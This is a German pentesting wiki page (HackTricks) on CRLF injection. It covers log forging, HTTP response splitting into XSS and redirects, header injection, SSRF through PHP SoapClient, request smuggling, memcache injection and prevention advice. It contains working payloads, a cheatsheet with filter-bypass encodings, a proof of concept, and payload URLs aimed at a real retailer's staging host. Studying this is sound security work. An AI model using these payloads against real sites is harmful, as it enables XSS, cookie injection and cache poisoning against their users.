German - Ht
HackTricks Training Twitter Linkedin Sponsor

CRLF (%0D%0A) Injection

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Bug-Bounty-Tipp: Melden Sie sich an bei Intigriti, einer Premium-Bug-Bounty-Plattform, die von Hackern für Hacker erstellt wurde! Treten Sie uns noch heute bei https://go.intigriti.com/hacktricks bei und beginnen Sie, Prämien von bis zu 100.000 $ zu verdienen!

CRLF

Carriage Return (CR) und Line Feed (LF), zusammen als CRLF bekannt, sind spezielle Zeichenfolgen, die im HTTP-Protokoll verwendet werden, um das Ende einer Zeile oder den Beginn einer neuen zu kennzeichnen. Webserver und Browser verwenden CRLF, um zwischen HTTP-Headern und dem Body einer Antwort zu unterscheiden. Diese Zeichen werden universell in HTTP/1.1-Kommunikationen über verschiedene Arten von Webservern wie Apache und Microsoft IIS eingesetzt.

CRLF-Injektionsanfälligkeit

CRLF-Injektion beinhaltet das Einfügen von CR- und LF-Zeichen in benutzergesteuerte Eingaben. Diese Aktion führt dazu, dass der Server, die Anwendung oder der Benutzer die injizierte Sequenz als Ende einer Antwort und den Beginn einer anderen interpretiert. Obwohl diese Zeichen an sich nicht schädlich sind, kann ihr Missbrauch zu HTTP-Response-Splitting und anderen bösartigen Aktivitäten führen.

Beispiel: CRLF-Injektion in einer Protokolldatei

Beispiel von hier

Betrachten Sie eine Protokolldatei in einem Admin-Panel, die dem Format folgt: IP - Zeit - Besuchter Pfad. Ein typischer Eintrag könnte wie folgt aussehen:

123.123.123.123 - 08:15 - /index.php?page=home

Ein Angreifer kann eine CRLF-Injektion ausnutzen, um dieses Protokoll zu manipulieren. Indem CRLF-Zeichen in die HTTP-Anfrage eingefügt werden, kann der Angreifer den Ausgabestrom verändern und Protokolleinträge fälschen. Zum Beispiel könnte eine injizierte Sequenz den Protokolleintrag in folgendes umwandeln:

/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

Hier stellen %0d und %0a die URL-codierten Formen von CR und LF dar. Nach dem Angriff würde das Protokoll irreführend anzeigen:

IP - Time - Visited Path

123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

Der Angreifer tarnt somit seine bösartigen Aktivitäten, indem er es so aussehen lässt, als ob der localhost (eine in der Serverumgebung typischerweise vertrauenswürdige Entität) die Aktionen ausgeführt hat. Der Server interpretiert den Teil der Abfrage, der mit %0d%0a beginnt, als einzelnen Parameter, während der Parameter restrictedaction als separate Eingabe geparst wird. Die manipulierte Abfrage ahmt effektiv einen legitimen Administrationsbefehl nach: /index.php?page=home&restrictedaction=edit

HTTP-Response-Splitting

Beschreibung

HTTP-Response-Splitting ist eine Sicherheitslücke, die auftritt, wenn ein Angreifer die Struktur von HTTP-Antworten ausnutzt. Diese Struktur trennt Header vom Body mithilfe einer spezifischen Zeichenfolge, Carriage Return (CR) gefolgt von Line Feed (LF), zusammen als CRLF bezeichnet. Wenn es einem Angreifer gelingt, eine CRLF-Sequenz in einen Antwort-Header einzufügen, kann er effektiv den nachfolgenden Antwortinhalt manipulieren. Diese Art der Manipulation kann zu schwerwiegenden Sicherheitsproblemen führen, insbesondere Cross-Site-Scripting (XSS).

XSS durch HTTP-Response-Splitting

  1. Die Anwendung setzt einen benutzerdefinierten Header wie folgt: X-Custom-Header: UserInput

  2. Die Anwendung ruft den Wert für UserInput aus einem Abfrageparameter ab, sagen wir "user_input". In Szenarien ohne ordnungsgemäße Eingabevalidierung und Codierung kann ein Angreifer ein Payload erstellen, der die CRLF-Sequenz sowie bösartigen Inhalt enthält.

  3. Ein Angreifer erstellt eine URL mit einem speziell erstellten 'user_input': ?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>

  • In dieser URL ist %0d%0a%0d%0a die URL-codierte Form von CRLFCRLF. Es täuscht den Server, eine CRLF-Sequenz einzufügen, sodass der Server den nachfolgenden Teil als Antwort-Body behandelt.

  1. Der Server spiegelt die Eingabe des Angreifers im Antwort-Header wider, was zu einer unbeabsichtigten Antwortstruktur führt, in der das bösartige Skript vom Browser als Teil des Antwort-Body interpretiert wird.

Ein Beispiel für HTTP-Response-Splitting, das zu einer Weiterleitung führt

Von https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62

Browser zu:

/%0d%0aLocation:%20http://myweb.com

Und der Server antwortet mit dem Header:

Location: http://myweb.com

Anderes Beispiel: (von https://www.acunetix.com/websitesecurity/crlf-injection/)

http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E

Im URL-Pfad

Sie können das Payload im URL-Pfad senden, um die Antwort vom Server zu kontrollieren (Beispiel von hier):

http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E

Überprüfen Sie weitere Beispiele unter:

HTTP Header Injection

HTTP-Header-Injection, oft durch CRLF (Wagenrücklauf und Zeilenumbruch) Injection ausgenutzt, ermöglicht es Angreifern, HTTP-Header einzufügen. Dies kann Sicherheitsmechanismen wie XSS (Cross-Site Scripting)-Filter oder die SOP (Same-Origin Policy) untergraben und möglicherweise zu unbefugtem Zugriff auf sensible Daten führen, wie z.B. CSRF-Token, oder zur Manipulation von Benutzersitzungen durch das Platzieren von Cookies.

Ausnutzen von CORS über HTTP-Header-Injection

Ein Angreifer kann HTTP-Header einschleusen, um CORS (Cross-Origin Resource Sharing) zu aktivieren und die von SOP auferlegten Beschränkungen zu umgehen. Dieser Verstoß ermöglicht es Skripten aus bösartigen Quellen, mit Ressourcen aus einer anderen Quelle zu interagieren und potenziell auf geschützte Daten zuzugreifen.

SSRF und HTTP-Request-Injection über CRLF

CRLF-Injection kann genutzt werden, um eine vollständig neue HTTP-Anfrage zu erstellen und einzufügen. Ein bemerkenswertes Beispiel hierfür ist die Schwachstelle in der PHP-Klasse SoapClient, speziell im Parameter user_agent. Durch die Manipulation dieses Parameters kann ein Angreifer zusätzliche Header und Body-Inhalte einfügen oder sogar eine völlig neue HTTP-Anfrage einschleusen. Nachfolgend ein PHP-Beispiel, das diese Ausnutzung demonstriert:

$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);

$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);

# Put a netcat listener on port 9090
$client->__soapCall("test", []);

Header Injection zum Request Smuggling

Für weitere Informationen zu dieser Technik und möglichen Problemen überprüfen Sie die Originalquelle.

Sie können wichtige Header injizieren, um sicherzustellen, dass das Backend die Verbindung offen hält, nachdem es auf die erste Anfrage geantwortet hat:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1

Nachfolgend kann ein zweiter Request spezifiziert werden. Dieses Szenario beinhaltet in der Regel HTTP Request Smuggling, eine Technik, bei der zusätzliche Header oder Body-Elemente, die vom Server nach der Einschleusung angehängt werden, zu verschiedenen Sicherheitslücken führen können.

Ausnutzung:

  1. Bösartige Präfix-Injektion: Diese Methode beinhaltet das Vergiften des nächsten Benutzerrequests oder eines Webcaches durch Angabe eines bösartigen Präfixes. Ein Beispiel hierfür ist:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1

  1. Erstellen eines Präfix für die Vergiftung der Antwortwarteschlange: Dieser Ansatz beinhaltet das Erstellen eines Präfixes, der zusammen mit abschließendem Müll eine vollständige zweite Anfrage bildet. Dies kann die Vergiftung der Antwortwarteschlange auslösen. Ein Beispiel ist:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1

Memcache-Injektion

Memcache ist ein Schlüssel-Wert-Speicher, der ein Klartextprotokoll verwendet. Weitere Informationen unter:

page11211 - Pentesting Memcache

Für die vollständigen Informationen lesen Sie das ursprüngliche Schreiben

Wenn eine Plattform Daten aus einem HTTP-Request entnimmt und ohne Bereinigung verwendet, um Anfragen an einen Memcache-Server durchzuführen, könnte ein Angreifer dieses Verhalten ausnutzen, um neue Memcache-Befehle einzufügen.

Beispielsweise wurden in der ursprünglich entdeckten Schwachstelle Cache-Keys verwendet, um die IP und den Port zurückzugeben, mit denen sich ein Benutzer verbinden sollte, und Angreifer konnten Memcache-Befehle einschleusen, die den Cache vergiften würden, um die Details der Opfer (Benutzernamen und Passwörter eingeschlossen) an die Angreifer-Server zu senden:

Darüber hinaus entdeckten Forscher auch, dass sie die Memcache-Antworten desynchronisieren konnten, um die IP-Adressen und Ports der Angreifer an Benutzer zu senden, deren E-Mail-Adresse der Angreifer nicht kannte:

Wie man CRLF / HTTP-Header-Injektionen in Webanwendungen verhindert

Um die Risiken von CRLF (Wagenrücklauf und Zeilenumbruch) oder HTTP-Header-Injektionen in Webanwendungen zu minimieren, werden folgende Strategien empfohlen:

  1. Direkte Benutzereingabe in Antwort-Headern vermeiden: Der sicherste Ansatz besteht darin, Benutzereingaben nicht direkt in Antwort-Headern zu integrieren.

  2. Kodierung von Sonderzeichen: Wenn es nicht möglich ist, direkte Benutzereingaben zu vermeiden, stellen Sie sicher, dass eine Funktion zur Kodierung von Sonderzeichen wie CR (Wagenrücklauf) und LF (Zeilenumbruch) verwendet wird. Diese Praxis verhindert die Möglichkeit einer CRLF-Injektion.

  3. Aktualisierung der Programmiersprache: Aktualisieren Sie regelmäßig die in Ihren Webanwendungen verwendete Programmiersprache auf die neueste Version. Wählen Sie eine Version, die von Natur aus die Injektion von CR- und LF-Zeichen in Funktionen verhindert, die für das Setzen von HTTP-Headern zuständig sind.

CHEATSHEET

Cheatsheet von hier

1. HTTP Response Splitting
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)

2. CRLF chained with Open Redirect
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com

3. CRLF Injection to XSS
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E

4. Filter Bypass
• %E5%98%8A = %0A = \u560a
• %E5%98%8D = %0D = \u560d
• %E5%98%BE = %3E = \u563e (>)
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test

Automatische Tools

Brute-Force-Erkennungsliste

Referenzen

Bug-Bounty-Tipp: Melden Sie sich an bei Intigriti, einer Premium-Bug-Bounty-Plattform, die von Hackern für Hacker erstellt wurde! Treten Sie noch heute https://go.intigriti.com/hacktricks bei und beginnen Sie, Prämien von bis zu $100.000 zu verdienen!

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

PreviousCORS - Misconfigurations & BypassNextCSRF (Cross Site Request Forgery)

Last updated